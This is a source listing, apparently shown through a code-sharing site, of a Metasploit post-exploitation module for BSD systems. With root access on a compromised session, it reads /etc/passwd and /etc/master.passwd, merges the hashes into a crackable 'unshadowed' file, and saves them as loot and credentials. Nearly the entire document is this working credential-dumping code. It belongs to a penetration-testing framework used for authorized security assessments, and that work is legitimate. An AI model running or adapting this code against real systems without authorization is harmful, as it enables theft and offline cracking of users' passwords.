Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/bsd/gather/hashdump.rb
32222 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'BSD Dump Password Hashes',
16
'Description' => %q{Post module to dump the password hashes for all users on a BSD system.},
17
'License' => MSF_LICENSE,
18
'Author' => ['bcoles'],
19
'Platform' => ['bsd'],
20
'SessionTypes' => ['shell', 'meterpreter'],
21
'Notes' => {
22
'Stability' => [CRASH_SAFE],
23
'SideEffects' => [],
24
'Reliability' => []
25
},
26
'References' => [
27
[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]
28
]
29
)
30
)
31
end
32
33
def run
34
unless is_root?
35
fail_with(Failure::NoAccess, 'You must run this module as root!')
36
end
37
38
passwd = read_file('/etc/passwd').to_s
39
unless passwd.blank?
40
p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')
41
vprint_good("passwd saved in: #{p}")
42
end
43
44
master_passwd = read_file('/etc/master.passwd').to_s
45
unless master_passwd.blank?
46
p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')
47
vprint_good("master.passwd saved in: #{p}")
48
end
49
50
# Unshadow passswords
51
john_file = unshadow(passwd, master_passwd)
52
return if john_file == ''
53
54
john_file.each_line do |l|
55
hash_parts = l.split(':')
56
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
57
58
if jtr_format.empty? # overide the default
59
jtr_format = 'des,bsdi,sha512,crypt'
60
end
61
62
credential_data = {
63
jtr_format: jtr_format,
64
origin_type: :session,
65
post_reference_name: refname,
66
private_type: :nonreplayable_hash,
67
private_data: hash_parts[1],
68
session_id: session_db_id,
69
username: hash_parts[0],
70
workspace_id: myworkspace_id
71
}
72
73
create_credential(credential_data)
74
print_good(l.chomp)
75
end
76
77
p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')
78
print_good("Unshadowed Password File: #{p}")
79
end
80
81
def unshadow(pf, sf)
82
unshadowed = ''
83
84
sf.each_line do |sl|
85
pass = sl.scan(/^\w*:([^:]*)/).join
86
87
next if pass == '*'
88
next if pass == '!'
89
90
user = sl.scan(/(^\w*):/).join
91
pf.each_line do |pl|
92
next unless pl.match(/^#{user}:/)
93
94
unshadowed << pl.gsub(/:\*:/, ":#{pass}:")
95
end
96
end
97
98
unshadowed
99
end
100
end
101
102